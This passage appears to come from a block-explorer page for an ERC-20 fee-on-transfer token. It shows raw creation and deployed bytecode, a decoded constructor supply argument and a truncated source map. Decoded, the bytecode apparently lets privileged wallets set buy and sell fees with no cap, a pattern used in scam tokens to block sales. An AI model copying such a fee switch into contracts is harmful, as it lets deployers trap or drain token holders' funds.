46111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a37a9d8d2f13596ad2af3557f01726af97aae432150fa9f9839c84fabb8b14ef64736f6c63430008110033000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099a9190611435565b5050565b6109a6610d49565b6001600160a01b038116610a105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610a1981610da3565b50565b6001600160a01b03831615801590610a3c57506001600160a01b03821615155b610a7c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610a07565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610afd57506001600160a01b03821615155b610b415760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610a07565b60008111610b9f5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610a07565b60055460ff61010082048116911610801590610bc55750600e54600160a01b900460ff16155b8015610bdf5750600e546001600160a01b03848116911614155b8015610bf45750600e54600160a81b900460ff165b15610c24576005805460ff19169055306000908152600c60205260409020548015610c2257610c2281610df3565b505b6001600160a01b03831660009081526010602052604090205460019060ff1680610c6657506001600160a01b03831660009081526010602052604090205460ff165b80610cad5750601354600160a01b900460ff168015610c935750600e546001600160a01b03858116911614155b8015610cad5750600e546001600160a01b03848116911614155b15610cba57506000610cf8565b600e546001600160a01b0390811690851603610cdb57600754600655610cf8565b600e546001600160a01b0390811690841603610cf8576008546006555b610d0484848484610e38565b50505050565b60008184841115610d2e5760405162461bcd60e51b8152600401610a079190611268565b505050900390565b6000610d42828461146d565b9392505050565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff60a01b1916600160a01b179055610e0f81610e9e565b6013544790610e27906001600160a01b031682610ff8565b5050600e805460ff60a01b19169055565b80610e4a57610e45611033565b610e77565b6005805460ff16906000610e5d83611480565b91906101000a81548160ff021916908360ff160217905550505b610e82848484611078565b80610d0457610d04600954600655600a54600755600b54600855565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed357610ed361149f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5091906113ea565b81600181518110610f6357610f6361149f565b6001600160a01b039283166020918202929092010152600d54610f899130911684610a1c565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fc29085906000908690309042906004016114b5565b600060405180830381600087803b158015610fdc57600080fd5b505af1158015610ff0573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b505050565b6006541580156110435750600754155b801561104f5750600854155b1561105657565b60078054600a5560088054600b55600680546009556000928390559082905555565b6001600160a01b03821660009081526012602052604081205460ff1661109f5760006110a3565b6011545b6001600160a01b03841660009081526012602052604090205490915060ff1615611137576001600160a01b0384166000908152600c60205260409020546110ea9083611224565b6001600160a01b038086166000908152600c602052604080822093909355908516815220546111199082610d36565b6001600160a01b0384166000908152600c6020526040902055610d04565b60008061114384611230565b6001600160a01b0388166000908152600c6020526040902054919350915061116b9085611224565b6001600160a01b038088166000908152600c6020526040808220939093559087168152205461119a9083610d36565b6001600160a01b0386166000908152600c60205260408082209290925530815220546111c69082610d36565b306000908152600c602090815260409182902092909255518381526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610d428284611526565b60008060006064600654856112459190611539565b61124f9190611550565b9050600061125d8583611224565b959194509092505050565b600060208083528351808285015260005b8181101561129557858101830151858201604001528201611279565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a1957600080fd5b600080604083850312156112de57600080fd5b82356112e9816112b6565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b8335611317816112b6565b92506020840135611327816112b6565b929592945050506040919091013590565b6000806040838503121561134b57600080fd5b50508035926020909101359150565b60006020828403121561136c57600080fd5b8135610d42816112b6565b6000806040838503121561138a57600080fd5b8235611395816112b6565b915060208301356113a5816112b6565b809150509250929050565b600181811c908216806113c457607f821691505b6020821081036113e457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156113fc57600080fd5b8151610d42816112b6565b60008060006060848603121561141c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561144757600080fd5b81518015158114610d4257600080fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561054c5761054c611457565b600060ff821660ff810361149657611496611457565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054c5761054c611457565b808202811582820484141761054c5761054c611457565b60008261156d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a37a9d8d2f13596ad2af3557f01726af97aae432150fa9f9839c84fabb8b14ef64736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
-----Decoded View---------------
Arg [0] : _supplyAmount (uint256): 10000000000000000000000000000000000000000000
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000072cb5bd86321e38cb6ce6682e80000000000
Deployed Bytecode Sourcemap
14329:8686:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16360:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17071:161;;;;;;;;;;-1:-1:-1;17071:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17071:161:0;1023:187:1;18236:34:0;;;;;;;;;;-1:-1:-1;18236:34:0;;;;-1:-1:-1;;;18236:34:0;;;;;;15012:41;;;;;;;;;;-1:-1:-1;15012:41:0;;;;-1:-1:-1;;;;;15012:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;15012:41:0;1215:230:1;16637:100:0;;;;;;;;;;-1:-1:-1;16717:12:0;;16637:100;;;1596:25:1;;;1584:2;1569:18;16637:100:0;1450:177:1;14735:26:0;;;;;;;;;;;;;;;;15095:28;;;;;;;;;;-1:-1:-1;15095:28:0;;;;-1:-1:-1;;;15095:28:0;;;;;;17240:313;;;;;;;;;;-1:-1:-1;17240:313:0;;;;;:::i;:::-;;:::i;16546:83::-;;;;;;;;;;-1:-1:-1;16612:9:0;;16546:83;;16612:9;;;;2235:36:1;;2223:2;2208:18;16546:83:0;2093:184:1;17561:218:0;;;;;;;;;;-1:-1:-1;17561:218:0;;;;;:::i;:::-;;:::i;14768:27::-;;;;;;;;;;;;;;;;15060:28;;;;;;;;;;-1:-1:-1;15060:28:0;;;;-1:-1:-1;;;;;15060:28:0;;;15130:40;;;;;;;;;;-1:-1:-1;15130:40:0;;;;-1:-1:-1;;;15130:40:0;;;;;;22838:172;;;;;;;;;;-1:-1:-1;22838:172:0;;;;;:::i;:::-;;:::i;:::-;;18064:121;;;;;;;;;;-1:-1:-1;18064:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;18157:20:0;18130:7;18157:20;;;:11;:20;;;;;;;18064:121;5979:103;;;;;;;;;;;;;:::i;15255:51::-;;;;;;;;;;-1:-1:-1;15255:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5744:87;;;;;;;;;;-1:-1:-1;5790:7:0;5817:6;-1:-1:-1;;;;;5817:6:0;5744:87;;16451;;;;;;;;;;;;;:::i;17787:269::-;;;;;;;;;;-1:-1:-1;17787:269:0;;;;;:::i;:::-;;:::i;16745:167::-;;;;;;;;;;-1:-1:-1;16745:167:0;;;;;:::i;:::-;;:::i;22205:625::-;;;;;;;;;;;;;:::i;16920:143::-;;;;;;;;;;-1:-1:-1;16920:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17028:18:0;;;17001:7;17028:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16920:143;6090:201;;;;;;;;;;-1:-1:-1;6090:201:0;;;;;:::i;:::-;;:::i;16360:83::-;16397:13;16430:5;16423:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16360:83;:::o;17071:161::-;17146:4;17163:39;5269:10;17186:7;17195:6;17163:8;:39::i;:::-;-1:-1:-1;17220:4:0;17071:161;;;;;:::o;17240:313::-;17338:4;17355:36;17365:6;17373:9;17384:6;17355:9;:36::i;:::-;17402:121;17411:6;5269:10;17433:89;17471:6;17433:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17433:19:0;;;;;;:11;:19;;;;;;;;5269:10;17433:33;;;;;;;;;;:37;:89::i;:::-;17402:8;:121::i;:::-;-1:-1:-1;17541:4:0;17240:313;;;;;:::o;17561:218::-;5269:10;17649:4;17698:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17698:34:0;;;;;;;;;;17649:4;;17666:83;;17689:7;;17698:50;;17737:10;17698:38;:50::i;22838:172::-;5269:10;22911:32;;;;:18;:32;;;;;;;;:38;;:32;:38;22903:47;;;;;;22961:7;:14;;;;22986:8;:16;22838:172::o;5979:103::-;5703:13;:11;:13::i;:::-;6044:30:::1;6071:1;6044:18;:30::i;:::-;5979:103::o:0;16451:87::-;16490:13;16523:7;16516:14;;;;;:::i;17787:269::-;17880:4;17897:129;5269:10;17920:7;17929:96;17968:15;17929:96;;;;;;;;;;;;;;;;;5269:10;17929:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17929:34:0;;;;;;;;;;;;:38;:96::i;16745:167::-;16823:4;16840:42;5269:10;16864:9;16875:6;16840:9;:42::i;22205:625::-;5703:13;:11;:13::i;:::-;22258:32:::1;22312:42;22258:97;;22400:13;-1:-1:-1::0;;;;;22400:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;22382:53:0::1;;22444:4;22451:13;-1:-1:-1::0;;;;;22451:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22382:90;::::0;-1:-1:-1;;;;;;22382:90:0::1;::::0;;;;;;-1:-1:-1;;;;;4259:15:1;;;22382:90:0::1;::::0;::::1;4241:34:1::0;4311:15;;4291:18;;;4284:43;4176:18;;22382:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22366:13;:106:::0;;-1:-1:-1;;;;;;22366:106:0;;::::1;-1:-1:-1::0;;;;;22366:106:0;;::::1;;::::0;;;22483:15:::1;:31:::0;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;22542:4:::1;-1:-1:-1::0;18157:20:0;;;:11;:20;;;;;;22525:75:::1;::::0;22483:31;17402:8;:121::i;22525:75::-:1;22611:15;::::0;-1:-1:-1;;;;;22611:15:0::1;:31;22650:21;22681:4;22687:24;22681:4:::0;-1:-1:-1;;;;;18157:20:0;18130:7;18157:20;;;:11;:20;;;;;;;18064:121;22687:24:::1;22712:1;22714::::0;22716:7:::1;5790::::0;5817:6;-1:-1:-1;;;;;5817:6:0;;5744:87;22716:7:::1;22611:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22611:129:0;;;-1:-1:-1;;;;;4697:15:1;;;22611:129:0::1;::::0;::::1;4679:34:1::0;4729:18;;;4722:34;;;;4772:18;;;4765:34;;;;4815:18;;;4808:34;4879:15;;;4858:19;;;4851:44;22724:15:0::1;4911:19:1::0;;;4904:35;4613:19;;22611:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;22758:13:0::1;::::0;22789:15:::1;::::0;22751:71:::1;::::0;-1:-1:-1;;;22751:71:0;;-1:-1:-1;;;;;22789:15:0;;::::1;22751:71;::::0;::::1;5435:51:1::0;-1:-1:-1;;5502:18:1;;;5495:34;22758:13:0;::::1;::::0;-1:-1:-1;22751:29:0::1;::::0;5408:18:1;;22751:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22247:583;22205:625::o:0;6090:201::-;5703:13;:11;:13::i;:::-;-1:-1:-1;;;;;6179:22:0;::::1;6171:73;;;::::0;-1:-1:-1;;;6171:73:0;;6024:2:1;6171:73:0::1;::::0;::::1;6006:21:1::0;6063:2;6043:18;;;6036:30;6102:34;6082:18;;;6075:62;-1:-1:-1;;;6153:18:1;;;6146:36;6199:19;;6171:73:0::1;;;;;;;;;6255:28;6274:8;6255:18;:28::i;:::-;6090:201:::0;:::o;18739:266::-;-1:-1:-1;;;;;18834:19:0;;;;;;:44;;-1:-1:-1;;;;;;18857:21:0;;;;18834:44;18826:74;;;;-1:-1:-1;;;18826:74:0;;6431:2:1;18826:74:0;;;6413:21:1;6470:2;6450:18;;;6443:30;-1:-1:-1;;;6489:18:1;;;6482:47;6546:18;;18826:74:0;6229:341:1;18826:74:0;-1:-1:-1;;;;;18911:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18963:32;;1596:25:1;;;18963:32:0;;1569:18:1;18963:32:0;;;;;;;18739:266;;;:::o;19013:1041::-;-1:-1:-1;;;;;19137:18:0;;;;;;:38;;-1:-1:-1;;;;;;19159:16:0;;;;19137:38;19129:72;;;;-1:-1:-1;;;19129:72:0;;6777:2:1;19129:72:0;;;6759:21:1;6816:2;6796:18;;;6789:30;-1:-1:-1;;;6835:18:1;;;6828:51;6896:18;;19129:72:0;6575:345:1;19129:72:0;19229:1;19220:6;:10;19212:60;;;;-1:-1:-1;;;19212:60:0;;7127:2:1;19212:60:0;;;7109:21:1;7166:2;7146:18;;;7139:30;7205:34;7185:18;;;7178:62;-1:-1:-1;;;7256:18:1;;;7249:35;7301:19;;19212:60:0;6925:401:1;19212:60:0;19313:11;;;;;;;;19302:7;;:22;;;;:57;;-1:-1:-1;19343:16:0;;-1:-1:-1;;;19343:16:0;;;;19342:17;19302:57;:95;;;;-1:-1:-1;19384:13:0;;-1:-1:-1;;;;;19376:21:0;;;19384:13;;19376:21;;19302:95;:133;;;;-1:-1:-1;19414:21:0;;-1:-1:-1;;;19414:21:0;;;;19302:133;19285:393;;;19480:7;:11;;-1:-1:-1;;19480:11:0;;;19555:4;-1:-1:-1;18157:20:0;;;:11;:20;;;;;;19579:24;;19576:91;;19619:36;19634:20;19619:14;:36::i;:::-;19461:217;19285:393;-1:-1:-1;;;;;19727:24:0;;19692:12;19727:24;;;:18;:24;;;;;;19707:4;;19727:24;;;:50;;-1:-1:-1;;;;;;19755:22:0;;;;;;:18;:22;;;;;;;;19727:50;:119;;;-1:-1:-1;19782:15:0;;-1:-1:-1;;;19782:15:0;;;;:40;;;;-1:-1:-1;19809:13:0;;-1:-1:-1;;;;;19801:21:0;;;19809:13;;19801:21;;19782:40;:63;;;;-1:-1:-1;19832:13:0;;-1:-1:-1;;;;;19826:19:0;;;19832:13;;19826:19;;19782:63;19724:272;;;-1:-1:-1;19872:5:0;19724:272;;;19907:13;;-1:-1:-1;;;;;19907:13:0;;;19899:21;;;;19895:101;;19934:7;;19922:9;:19;19895:101;;;19959:13;;-1:-1:-1;;;;;19959:13:0;;;19953:19;;;;19949:47;;19986:8;;19974:9;:20;19949:47;20008:38;20023:4;20028:2;20031:6;20038:7;20008:14;:38::i;:::-;19116:938;19013:1041;;;:::o;3972:206::-;4058:7;4119:12;4111:6;;;;4103:29;;;;-1:-1:-1;;;4103:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4154:5:0;;;3972:206::o;3548:98::-;3606:7;3633:5;3637:1;3633;:5;:::i;:::-;3626:12;3548:98;-1:-1:-1;;;3548:98:0:o;5839:132::-;5790:7;5817:6;-1:-1:-1;;;;;5817:6:0;5269:10;5903:23;5895:68;;;;-1:-1:-1;;;5895:68:0;;7795:2:1;5895:68:0;;;7777:21:1;;;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;7925:18;;5895:68:0;7593:356:1;6299:191:0;6373:16;6392:6;;-1:-1:-1;;;;;6409:17:0;;;-1:-1:-1;;;;;;6409:17:0;;;;;;6442:40;;6392:6;;;;;;;6442:40;;6373:16;6442:40;6362:128;6299:191;:::o;20419:229::-;15722:16;:23;;-1:-1:-1;;;;15722:23:0;-1:-1:-1;;;15722:23:0;;;20503:37:::1;20519:20:::0;20503:15:::1;:37::i;:::-;20612:16;::::0;20572:21:::1;::::0;20604:36:::1;::::0;-1:-1:-1;;;;;20612:16:0::1;20572:21:::0;20604:7:::1;:36::i;:::-;-1:-1:-1::0;;15768:16:0;:24;;-1:-1:-1;;;;15768:24:0;;;20419:229::o;21143:332::-;21258:7;21254:107;;21281:14;:12;:14::i;:::-;21254:107;;;21336:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21254:107;21375:41;21390:6;21398:9;21409:6;21375:14;:41::i;:::-;21433:7;21429:38;;21455:12;18636:17;;18624:9;:29;18670:15;;18660:7;:25;18704:16;;18693:8;:27;18585:146;20660:473;20751:16;;;20765:1;20751:16;;;;;;;;20727:21;;20751:16;;;;;;;;;;-1:-1:-1;20751:16:0;20727:40;;20796:4;20778;20783:1;20778:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20778:23:0;;;:7;;;;;;;;;;:23;;;;20822:15;;:22;;;-1:-1:-1;;;20822:22:0;;;;:15;;;;;:20;;:22;;;;;20778:7;;20822:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20812:4;20817:1;20812:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20812:32:0;;;:7;;;;;;;;;:32;20887:15;;20855:62;;20872:4;;20887:15;20905:11;20855:8;:62::i;:::-;20928:15;;:197;;-1:-1:-1;;;20928:197:0;;-1:-1:-1;;;;;20928:15:0;;;;:66;;:197;;21009:11;;20928:15;;21052:4;;21079;;21099:15;;20928:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20714:419;20660:473;:::o;20062:115::-;20142:23;;-1:-1:-1;;;;;20142:15:0;;;:23;;;;;20158:6;;20142:23;;;;20158:6;20142:15;:23;;;;;;;;;;;;;;;;;;;;;20062:115;;:::o;18281:296::-;18327:9;;:14;:30;;;;-1:-1:-1;18345:7:0;;:12;18327:30;:47;;;;-1:-1:-1;18361:8:0;;:13;18327:47;18324:59;;;18281:296::o;18324:59::-;18411:7;;;18393:15;:25;18449:8;;;18430:16;:27;18489:9;;;18469:17;:29;-1:-1:-1;18509:11:0;;;;18531:12;;;;18554:13;18281:296::o;21483:715::-;-1:-1:-1;;;;;21594:20:0;;21577:14;21594:20;;;:9;:20;;;;;;;;:34;;21627:1;21594:34;;;21615:11;;21594:34;-1:-1:-1;;;;;21644:20:0;;;;;;:9;:20;;;;;;21577:51;;-1:-1:-1;21644:20:0;;21641:550;;;-1:-1:-1;;;;;21698:19:0;;;;;;:11;:19;;;;;;:31;;21722:6;21698:23;:31::i;:::-;-1:-1:-1;;;;;21676:19:0;;;;;;;:11;:19;;;;;;:53;;;;21765:22;;;;;;;:34;;21792:6;21765:26;:34::i;:::-;-1:-1:-1;;;;;21740:22:0;;;;;;:11;:22;;;;;:59;21641:550;;;21827:23;21852:17;21873;21883:6;21873:9;:17::i;:::-;-1:-1:-1;;;;;21923:19:0;;;;;;:11;:19;;;;;;21826:64;;-1:-1:-1;21826:64:0;-1:-1:-1;21923:31:0;;21947:6;21923:23;:31::i;:::-;-1:-1:-1;;;;;21901:19:0;;;;;;;:11;:19;;;;;;:53;;;;21990:22;;;;;;;:43;;22017:15;21990:26;:43::i;:::-;-1:-1:-1;;;;;21965:22:0;;;;;;:11;:22;;;;;;:68;;;;22093:4;22073:26;;;;:41;;22104:9;22073:30;:41::i;:::-;22064:4;22044:26;;;;:11;:26;;;;;;;;;:70;;;;22131:44;1596:25:1;;;-1:-1:-1;;;;;22131:44:0;;;;;;;;;;1569:18:1;22131:44:0;;;;;;;21815:376;;21566:632;21483:715;;;:::o;3654:98::-;3712:7;3739:5;3743:1;3739;:5;:::i;20185:226::-;20243:7;20252;20272:12;20305:3;20295:9;;20287:7;:17;;;;:::i;:::-;:21;;;;:::i;:::-;20272:36;-1:-1:-1;20319:23:0;20345:17;:7;20272:36;20345:11;:17::i;:::-;20319:43;20398:4;;-1:-1:-1;20185:226:0;;-1:-1:-1;;;20185:226:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2490:248::-;2558:6;2566;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;;2658:23:1;;;2728:2;2713:18;;;2700:32;;-1:-1:-1;2490:248:1:o;2743:247::-;2802:6;2855:2;2843:9;2834:7;2830:23;2826:32;2823:52;;;2871:1;2868;2861:12;2823:52;2910:9;2897:23;2929:31;2954